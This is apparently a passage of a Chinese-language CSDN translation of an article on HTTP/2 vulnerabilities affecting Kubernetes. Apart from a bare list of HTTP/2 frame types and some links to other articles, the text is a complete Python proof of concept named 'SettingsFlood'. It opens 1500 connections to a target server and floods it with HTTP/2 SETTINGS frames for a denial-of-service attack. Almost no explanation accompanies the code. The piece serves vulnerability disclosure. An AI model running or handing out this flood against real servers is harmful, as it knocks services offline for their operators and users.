其他
最新 HTTP/2 漏洞曝光,直指 Kubernetes!
作者 | Randy Westergren
译者 | 弯月,责编 | 屠敏
出品 | CSDN(ID:csdnnews)
PRIORITY
RST_STREAM
SETTINGS
PUSH_PROMISE
PING
GOAWAY
WINDOW_UPDATE
CONTINUATION
import socket
import sys
import time
class SettingsFlood:
SETTINGS_FRAME = b'\x00\x00\x00\x04\x00\x00\x00\x00\x00'
PREAMBLE = b'PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n\x00\x00*\x04\x00\x00\x00' \
b'\x00\x00\x00\x01\x00\x00\x10\x00\x00\x02\x00\x00\x00\x01' \
b'\x00\x04\x00\x00\xff\xff\x00\x05\x00\x00@\x00\x00\x08\x00' \
b'\x00\x00\x00\x00\x03\x00\x00\x00d\x00\x06\x00\x01\x00\x00'
def __init__(self, ip, port=80, socket_count=200):
self._ip = ip
self._port = port
self._sockets = [self.create_socket() for _ in range(socket_count)]
def create_socket(self):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(4)
s.connect((self._ip, self._port))
s.send(self.PREAMBLE)
return s
except socket.error as se:
print("Error: "+str(se))
time.sleep(0.5)
return self.create_socket()
def attack(self, timeout=sys.maxsize, sleep=1):
t, i = time.time(), 0
while time.time() - t < timeout:
for s in self._sockets:
try:
s.send(self.SETTINGS_FRAME)
except socket.error:
self._sockets.remove(s)
self._sockets.append(self.create_socket())
time.sleep(sleep/len(self._sockets))
if __name__ == "__main__":
dos = SettingsFlood("127.0.0.1", 8080, socket_count=1500)
dos.attack(timeout=60*10*10)
【END】
热 文 推 荐
☞云栖大会|当数据中台遇上智能 看中台“鼻祖”阿里巴巴又有什么新花样?
☞年薪 170 万阿里 P8 程序员征婚上热搜,程序员婚恋观大曝光!
☞肖仰华:知识图谱构建的三要素、三原则和九大策略 | AI ProCon 2019